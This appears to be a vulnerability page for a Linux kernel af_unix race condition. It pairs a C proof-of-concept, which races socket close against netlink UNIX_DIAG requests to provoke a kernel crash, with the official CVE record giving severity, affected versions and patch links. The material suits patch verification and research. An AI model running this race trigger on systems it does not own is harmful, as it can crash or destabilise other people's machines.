CVE-2026-31673

/* * PoC for CVE-2026-31673 (Conceptual) * This code attempts to trigger the race condition between * unix_release_sock and UNIX_DIAG_VFS parsing. * Compile: gcc -o poc_cve2026_31673 poc_cve2026_31673.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/un.h> #include <pthread.h> #include <linux/netlink.h> #include <linux/sock_diag.h> #include <linux/unix_diag.h> int sock_fd = -1; volatile int running = 1; // Thread 1: Continuously close and recreate the socket void *thread_close(void *arg) { struct sockaddr_un addr; while (running) { if (sock_fd != -1) { close(sock_fd); sock_fd = -1; } sock_fd = socket(AF_UNIX, SOCK_STREAM, 0); if (sock_fd < 0) continue; memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; bind(sock_fd, (struct sockaddr *)&addr, sizeof(addr)); usleep(100); // Tune timing to increase race window } return NULL; } // Thread 2: Send Netlink diagnostic requests void *thread_diag(void *arg) { int nl_sock; struct sockaddr_nl nl_addr; char buf[1024]; struct nlmsghdr *nlh; struct unix_diag_req *req; nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG); if (nl_sock < 0) return NULL; memset(&nl_addr, 0, sizeof(nl_addr)); nl_addr.nl_family = AF_NETLINK; bind(nl_sock, (struct sockaddr *)&nl_addr, sizeof(nl_addr)); while (running) { if (sock_fd < 0) { usleep(100); continue; } memset(buf, 0, sizeof(buf)); nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct unix_diag_req)); req = (struct unix_diag_req *)NLMSG_DATA(nlh); req->sdiag_family = AF_UNIX; req->udiag_states = -1; // All states req->udiag_ino = 0; // Match any (or try to match specific) req->udiag_show = UDIAG_SHOW_VFS | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN; sendto(nl_sock, buf, nlh->nlmsg_len, 0, (struct sockaddr *)&nl_addr, sizeof(nl_addr)); usleep(50); } close(nl_sock); return NULL; } int main() { pthread_t t1, t2; printf("[+] Starting PoC for CVE-2026-31673...\n"); pthread_create(&t1, NULL, thread_close, NULL); pthread_create(&t2, NULL, thread_diag, NULL); sleep(10); // Run for 10 seconds running = 0; pthread_join(t1, NULL); pthread_join(t2, NULL); if (sock_fd != -1) close(sock_fd); printf("[+] PoC finished. Check kernel logs for crashes.\n"); return 0; }

{"cve": {"id": "CVE-2026-31673", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-25T09:16:00.423", "lastModified": "2026-05-06T21:36:13.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\naf_unix: read UNIX_DIAG_VFS data under unix_state_lock\n\nExact UNIX diag lookups hold a reference to the socket, but not to\nu->path. Meanwhile, unix_release_sock() clears u->path under\nunix_state_lock() and drops the path reference after unlocking.\n\nRead the inode and device numbers for UNIX_DIAG_VFS while holding\nunix_state_lock(), then emit the netlink attribute after dropping the\nlock.\n\nThis keeps the VFS data stable while the reply is being built."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.3", "versionEndExcluding": "6.6.136", "matchCriteriaId": "FAB12062-558C-4570-A908-D71195858ADA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0c739f3785f84af695952c2bac8be2f45082c9b8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/39897df386376912d561d4946499379effa1e7ef", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/900a4e0910e98b8caef117d5df00471fa438dcf9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b9232421a77a649c9376c99fdfc8cb7f79cad34c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bdf206e740bf2919d818f132c8c9cc7ed91d11c0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}